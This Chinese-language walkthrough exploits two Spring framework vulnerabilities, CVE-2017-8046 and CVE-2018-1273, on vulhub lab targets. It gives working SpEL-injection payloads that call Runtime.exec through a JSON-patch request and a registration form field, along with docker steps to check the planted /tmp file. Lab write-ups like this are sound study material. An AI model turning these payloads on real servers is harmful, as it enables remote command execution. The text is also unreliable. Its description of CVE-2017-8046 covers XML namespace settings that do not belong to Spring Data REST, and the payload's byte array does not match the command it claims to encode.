常见框架漏洞攻略-Spring篇
一、CVE-2017-8046-Spring Data Rest 远程命令执行命令
漏洞环境
vulhub靶场 /spring/CVE-2017-8046
漏洞简介
漏洞产⽣于⽹站配置XML时如果没有设置namespace的值,并且上层动作配置中并没有设置或使⽤通配符namespace时,可能会导致远程代码执⾏漏洞的发⽣。同样也可能因为url标签没有设置value和action的值,并且上层动作并没有设置或使⽤通配符namespace,从⽽导致远程代码执⾏漏洞的发⽣。
第一步:开启靶场,访问漏洞页面
#URL
http://47.103.81.25:8080/customers/1
第二步:在本页面抓包,构造payload
#请求方式
先右键修改请求方式改为POST,再直接将POST改为PATCH
#Content-Typ
application/json-patch+json
#发送数据
[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,101}))/lastname", "value": "vulhub" }]
#数据中
new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115} 表示的命令 touch /tmp/success ⾥⾯的数字是ascii码
第三步:在云服务器进入此靶场容器的终端
#命令docker ps查看容器id
77e610fd0066
#进入终端
docker exec -it 77e610fd0066 /bin/bash
第四步:打开bp,发送后,返回云服务器切换到/tmp目录,查看文件,成功上传
二、CVE-2018-1273-Spring代码执行漏洞
漏洞简介
Spring Data 是⼀个⽤于简化数据库访问,并⽀持云服务的开源框架,Spring Data Commons 是 Spring Data下所有⼦项⽬共享的基础框架。Spring Data Commons 在 2.0.5 及以前版本中,存在⼀处 SpEL 表达式注⼊漏洞,攻击者可以注⼊恶意 SpEL 表达式以执⾏任意命令。
第一步:访问靶场地址
#URL
http://47.103.81.25:8080/users
第二步:填写注册信息,bp抓包,发送到重放器
第三步:删除提交的内容,构造payload
#构造payload
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/iyu")]=&password=&repeatedPassword=
第四步:在云服务器进入此靶场容器的终端,查看是否成功上传文件
#命令docker ps查看容器id
769e92400e15
#进入终端
docker exec -it 769e92400e15 /bin/bash
#查看是否成功上传
ls /tmp
FROM IYU_